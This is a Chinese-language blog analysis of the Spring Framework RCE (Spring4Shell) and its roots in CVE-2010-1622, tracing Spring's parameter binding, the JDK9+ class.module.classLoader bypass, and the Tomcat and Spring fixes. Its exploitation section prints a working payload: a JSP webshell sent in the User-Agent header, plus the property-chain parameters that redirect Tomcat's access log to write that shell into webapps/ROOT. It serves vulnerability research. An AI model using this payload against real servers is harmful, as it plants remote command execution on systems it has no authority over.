Diggid's Blog

Spring Framework RCE 浅析

字数统计: 3.5k阅读时长: 14 min
2022/03/31 Share

前言

在3.30号了解到spring framework有RCE时,在网上高强度冲浪了一波,大概得知漏洞的相关信息有以下关键词:

  • JDK9+
  • 和CVE-2010-1622利用方式类似,该洞具体的分析可以参考@Ruilin师傅的文章
  • 和大多数网传的官方commit修改的SerializationUtils#deserialize无关

所以在还没拿到poc之前,我就先学了一波CVE-2010-1622

CVE-2010-1622

详细过程分析可以参考上面的文章,这里只提炼重要的部分

Java Bean内省机制

Spring IOC容器中有很多Java Bean。通过内省机制来解析获取Java Bean的属性、getter/setter、其他方法描述符。java.beans包中提供了Introspector#getBeanInfo(java.lang.Class<?>, java.lang.Class<?>, int)来对Java Bean进行内省,参数如下:

  • 参数1:beanClass,要内省的Java Bean类
  • 参数2:stopClass,beanClass的一个父类,由于内省时也会获取继承于父类的属性或方法,若该参数不为null,则表示忽略stopClass内省的结果,并在此终止。比如下例中的Object.class参数,就会导致最终的内省结果不包括class这个属性,因为class属性是属于Object.class的。
  • 参数3:控制内省的标志,默认是USE_ALL_BEANINFO,如果flags == IGNORE_IMMEDIATE_BEANINFO,则忽略与指定beanClass关联的任何BeanInfo。 如果flags == IGNORE_ALL_BEANINFO,则忽略与指定beanClass或其任何父类关联的所有BeanInfo。
1
2
3
4
5
6
7
BeanInfo info = Introspector.getBeanInfo(Test.class);
// BeanInfo info = Introspector.getBeanInfo(Class.class); 结果是class
// BeanInfo info = Introspector.getBeanInfo(Test.class,Object.class); 结果没有class
PropertyDescriptor[] properties = info.getPropertyDescriptors();
for (PropertyDescriptor pd : properties) {
System.out.println("Property: " + pd.getName());
}

image-20220401114410998

前三个都是通过反射进行的内省,重点关注一下属性的内省方式:通过前面内省出来的getter(isXxx/getXxx)来内省属性,而不是通过反射的getField,这和Fastjson也挺像的,即使定义中不存在age属性,但是存在满足一定规范的getter或者setter方法,那么age也会被认为是一个属性。比如要想内省出age属性,则必须有以下之一

1
2
3
4
5
isAge()
getAge()
getAge(int)
setAge(xxx)
setAge(int, xxx)

image-20220401114842024

Spring参数绑定

熟悉SpringMVC处理流程的话,大致调用过程如下:

image-20220401134625239

org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest方法中会调用getMethodArgumentValues来处理参数,处理完参数之后才会反射调用对应Controller的方法。

而参数处理交由实现了HandlerMethodArgumentResolver接口的各种参数解析器来处理,在HandlerMethodArgumentResolverComposite#getArgumentResolver方法中选择最佳的参数解析器。而对于参数绑定功能,使用的参数解析器是ServletModelAttributeMethodProcessor,其supportsParameter定义了参数有@ModelAttribute注解且参数不是SimpleValueType这些类型时,使用该解析器来解析

image-20220401135320730

image-20220401135403363

参数解析从ModelAttributeMethodProcessor#resolveArgument开始,其中会调用WebDataBinder#bind方法进行参数绑定。大致过程如下:

image-20220401135941913

这里直接跟进到关键的方法AbstractPropertyAccessor#setPropertyValues,该方法循环调用setPropertyValue方法来解析处理每一个待绑定的参数值,比如一个POJO对象Parent,其有一个类型为Child的属性child,Child有一个属性age,那么当一个控制器方法的参数是Parent parent时,我们post传入child.age=1,其实就相当于调用parent.getChild().setAge(1),而参数绑定的过程就是最终要实现这样的调用。

简单看一下如何实现,setPropertyValue进行参数绑定主要分为两个过程,以propertyName(后文都称之为属性链)为child.age

  • 获取对象:getPropertyAccessorForPropertyPath(propertyName);。也就是parent.getChild()
  • 设置对象的相应属性值:setPropertyValue(tokens, pv)。也就是child.setAge(1)

image-20220401141303289

getPropertyAccessorForPropertyPath

先看获取对象的过程。以.为属性分割,递归调用getPropertyAccessorForPropertyPath来处理,每一层的对象都被封装为AbstractNestablePropertyAccessor,该接口常用的实现类是BeanWrapperImpl而每一层Java Bean都是在应用(容器)启动/请求到来时(取决于loadOnStartup)就早已经实例好放在IOC容器中了,所以这里只是根据属性名和rootObject(参数类型的实例)并通过内省机制得到getter,再从IOC中取出对应的BeanWrapperImpl。所以对于每一层的Java Bean,其属性都是有默认值的,所以getter才能够顺利获取到。

image-20220401140956678

调用getNestedPropertyAccessor获取每一层封装的过程其实就是前面所说的内省,具体会调用getPropertyValue来处理

image-20220401142926265

进一步跟进getLocalPropertyHandler,会调用getCachedIntrospectionResults获取内省缓存,如果没有缓存,则调用CachedIntrospectionResults.forClass获取

image-20220401151307352

image-20220401151426841

实际在CachedIntrospectionResults的构造方法中完成内省

image-20220401151538262

这里对内省的属性还有限制,如果beanClass是Class.class且属性是classLoaderprotectionDomain,则忽略,这里就是CVE-2010-1622在spring层面的修复方案,也是这次Spring Framework RCE能够bypass的地方。

内省完之后回到getLocalPropertyHandler,然后调用getPropertyDescriptor来获取相应的属性,并封装在BeanPropertyHandler中,主要是保存了属性本身,以及getter和setter方法,最后就针对不同的情况调用getter来获取属性值,然后返回,递归的处理属性值。

setPropertyValue(tokens, pv)

拿到最终的对象后,即parent.getChild(),退出递归回到setPropertyValue,然后调用setPropertyValue(tokens,pv)来设置属性值。

image-20220401152400169

该方法分两种情况来处理

  • processKeyedProperty:处理带有”key”的属性链,类似child.age[0]=1child.age["a"]=1
  • processLocalProperty:处理不带有”key”的,直接调用属性的setter方法,如果没有setter方法则异常

先看一下processLocalProperty,至于第一种,在下面小节的变量覆盖中再说。在setter设置值之前,会先对值进行convert,因为post http传进来的都会被视为String,因此会根据实际的属性类型调用相应的converter进行类型转换,如果没有相应的converter,设置值也会失败。由ConversionService接口实现该功能,可以自定义,spring中标准实现是GenericConversionService,其中有很多的Converter,会选取最合适的Converter来处理。而我们这里选择的肯定是StringToXxxConverter

image-20220401152908498

变量覆盖

再来看一下processKeyedProperty的情况为什么会出现变量覆盖问题,这里新增一个属性String[] names用于测试,传入names[0]="diggid"。先给出结论:

  • 属性是数组、List、Map
  • 属性有getter方法,不需要setter方法

image-20220401155013236

关注三个红框:

  • 第一个红框调用getPropertyHoldingValue获取属性当前值,底层是调用的getPropertyHoldingValue,因此需要有getter,否则会报错。
  • 第二个红框是自动扩容,如果index超出了初始化的大小,不会报错,而是自动递增
  • 第三个红框是关键点,也就是变量覆盖的地方,其直接调用Array.set进行赋值,没有任何检查,直接可以覆盖任何index处的值,对于List和Map也是类似。

而这次漏洞点就在于此,使用如下属性链

1
class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/exp.jar!/

在非内嵌的tomcat中相当于调用

1
Array.set(pojo.getClass().getClassLoader().getURLs(), 0, "jar:http://127.0.0.1:8000/exp.jar!/")

而非内嵌的tomcat使用的是WebappClassLoaderBase这个ClassLoader,这个ClassLoader中放了resources(StandardRoot),熟悉tomcat的师傅们肯定知道StandardRoot用来进行资源管理,包括WEB-INF/lib等,一个StandardContext对应着一个StandardRoot,且StandardRoot也保存了context。所以我们可以拿到StandardContext,那这样玩法就可以开发了,下面先提一个利用方式,后面研究出新的再慢慢补充。

Spring Framework RCE

前面说了那么多,现在来分析这个就很简单了,只是玩法的挖掘。先来看看官方通告

image-20220401160638594

这里官方很贴心的告诉了我们这次漏洞利用的前提条件,简单解读一下

前提条件

JDK9+

这个是针对的CVE-2010-1622的绕过,JDK9+引入了模块系统,即Module类,具体的介绍https://juejin.cn/post/6844903501311524871

Module类中有一个属性loader,且配有getClassLoader方法,和Class一样,都是为了获取加载该模块/类的ClassLoader,具体细节差异不深究。而Class包含在某个Module当中,可以调用getModule来获取

image-20220401161527329

image-20220401161519153

因此可以通过以下属性链来bypass,因为前面还有一个条件是beanClass是Class,而这里是Module。

1
class.module.classLoader

War or Jar

关键点在in contrast to a Spring Boot executable jar,也就是说,使用springboot的常规部署方式是不受影响的,这在我一开始复现的时候也出现了这个问题。关键点还是classloader是哪个:

  • tomcat war:使用这种方式部署的,由于tomcat自实现了类加载器,加载webapp里面的lib和class使用的classloader是WebappClassLoaderBase的子类。
  • springboot jar:springboot有三种方式运行,在IDEA中,使用的是jdk的AppClassLoader;以fatjar或解压目录的形式运行,使用的是org.springframework.boot.loader.LaunchedURLClassLoader,其urls是fat jar里的BOOT-INF/classes!/目录和BOOT-INF/lib里的所有jar。运行fatjar时,jvm先使用系统类加载器加载fatjar,而fatjar里面的jar是用LaunchedURLClassLoader来加载的。

所以在前面我们说到了通过WebappClassLoaderBase获取StandardContext的利用方式,对springboot就不生效。

玩法

其实通过属性链的方式去设置/覆盖某些值,可以类比为JMX安全问题之利用特殊的MBean,因此在tomcat下有很多姿势。这里就写一些我知道的,欢迎师傅们补充思路。相关的属性链Gadgets可以在这里找到https://github.com/julianvilas/rooted2k15/blob/a00055f906/struts-tester/results/struts2-tomcat8-debug.txt

AccessLog写webshell

可以在webapps/ROOT/shell[1-5].jsp下写入User-Agent中可控的内容

1
2
3
4
5
6
7
8
post 
User-Agent: <%@ page import="java.io.BufferedReader" %><%@ page import="java.io.IOException" %><%@ page import="java.io.InputStream" %><%@ page import="java.io.InputStreamReader" %><% Process p = java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));InputStream in = p.getInputStream();StringBuilder sb = new StringBuilder();BufferedReader br = new BufferedReader(new InputStreamReader(in));String line;while((line = br.readLine()) != null){sb.append(line).append("\n");}response.getWriter().write(sb.toString()); %>

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{User-Agent}i&
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=W

一层层分析一下

  • StandardContext:通过以下属性链可以拿到StandardContext,且是针对当前请求的容器的context,即StandardEngine[Catalina].StandardHost[localhost].StandardContext[]
1
class.module.classLoader.resources.context
  • StandardHost:拿到context通过parent属性可以继续向上拿到容器的父容器,即名为localhost的StandardHost,该容器的处理范围是localhost的所有wabapps
1
class.module.classLoader.resources.context.parent
  • Pipeline:tomcat每个容器中都配备一个pipeline,每个pipeline上有很多有顺序的Valve在不同的层级上对请求前/响应后进行处理,比如记录日志等。
1
class.module.classLoader.resources.context.parent.pipeline
  • AccessLogValve:StandardHost的pipeline的第一个的Valve是AccessLogValve
1
class.module.classLoader.resources.context.parent.pipeline.first

拿到了AccessLogValve之后,我们可以通过设置pattern来修改日志记录的格式、设置directory prefix fileDateFormat suffix来修改日志文件的位置

日志支持以下格式

image-20211125213836748

看一下AccessLogValve将信息写入日志文件的整个工作流程,这一步分析很重要,和fileDateFormat属性有关。在org.apache.catalina.connector.CoyoteAdapter#service方法中,先调用以下代码来处理请求

1
2
connector.getService().getContainer().getPipeline().getFirst().invoke(
request, response);

虽然StandardHost的第一个Valve是AccessLogValve,但AccessLogValve#invoke方法不会做任何的处理,而是等到响应完后再进行日志记录

image-20220401192944904

image-20220401193049131

可以看到,正常响应下和响应错误时都会记录日志。先跟进context.logAccess方法,由于Context中没有AccessLogValve,会委托给父容器的来处理,而StandardHost中有AccessLogValve

image-20220401193314168

跟进getAccessLog方法,可以看到会从pipeline的所有valve中获取AccessLog并缓存,那这里就有一个问题,既然已经缓存了,那我们后面修改AccessLogValve,如何能够赋值到accessLog变量中呢,也就是说,在哪里accessLogScanComplete会变为false呢?继续往后看

image-20220401194226772

获取到accessLog之后调用log方法,继续跟进AbstractAccessLogValve#log

image-20220401194327709

image-20220401194556202

调用AccessLogElement#addElement方法来根据日志格式pattern获取日志的内容,由于pattern被设置为了%{User-Agent}i,所以会从UA中拿日志内容,然后调用log去写日志

image-20220401194819418

重点就在这rotate()的方法,如果dateStamptsDate不相等的话,就会调用open方法,而open方法主要用于重设writer,即根据我们前面修改的directory、prefix、suffix、fileDateFormat去设置新的日志文件位置,并封装在PrintWriter中,所以要想让access log更新,dateStamp和tsData必须不等。而dataStamp是上一个tsDate,如果默认为修改时间格式的话,就是.yyyy-MM-dd所以我们只需要让fileDateFormat变成一个新的时间格式,就可以使得tsDate = fileDateFormatter.format(new Date(systime));获取到的tsDate和dateStamp不等。支持的时间格式有,这里选择传入fileDateFormat=W,故范围是[1-5],所以最终的shell名是shell[1-5].jsp,因此如果我们想再次更换webshell的位置,还需要改变fileDateFormat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
G	Era designator (before christ, after christ)
y Year (e.g. 12 or 2012). Use either yy or yyyy.
M Month in year. Number of M's determine length of format (e.g. MM, MMM or MMMMM)
d Day in month. Number of d's determine length of format (e.g. d or dd)
h Hour of day, 1-12 (AM / PM) (normally hh)
H Hour of day, 0-23 (normally HH)
m Minute in hour, 0-59 (normally mm)
s Second in minute, 0-59 (normally ss)
S Millisecond in second, 0-999 (normally SSS)
E Day in week (e.g Monday, Tuesday etc.)
D Day in year (1-366)
F Day of week in month (e.g. 1st Thursday of December)
w Week in year (1-53)
W Week in month (0-5)
a AM / PM marker
k Hour in day (1-24, unlike HH's 0-23)
K Hour in day, AM / PM (0-11)
z Time Zone
' Escape for text delimiter
' Single quote

image-20220401194918754

最后调用writer#write/flush方法将日志信息写入日志文件,最终访问shell执行命令成功

image-20220401200104115

保存session写webshell

修复

Tomcat和Spring都做出了修复

  • TomcatWebappClassLoaderBase#getResources方法直接返回null,在10.1.x版本后也会直接删除该方法,阻断了我们获取StandardRoot

image-20220401204002606

  • Spring:更新了CVE-2010-1622对于属性的限制。对于Class,只允许获取name相关的属性,对于所有类,禁止获取ClassLoader和ProtectionDomain,因此如果还想bypass的话,需要再找其他的属性链了

image-20220401204225567

CATALOG
  1. 1. 前言
  2. 2. CVE-2010-1622
    1. 2.1. Java Bean内省机制
    2. 2.2. Spring参数绑定
      1. 2.2.1. getPropertyAccessorForPropertyPath
      2. 2.2.2. setPropertyValue(tokens, pv)
    3. 2.3. 变量覆盖
  3. 3. Spring Framework RCE
    1. 3.1. 前提条件
      1. 3.1.1. JDK9+
      2. 3.1.2. War or Jar
    2. 3.2. 玩法
      1. 3.2.1. AccessLog写webshell
      2. 3.2.2. 保存session写webshell
    3. 3.3. 修复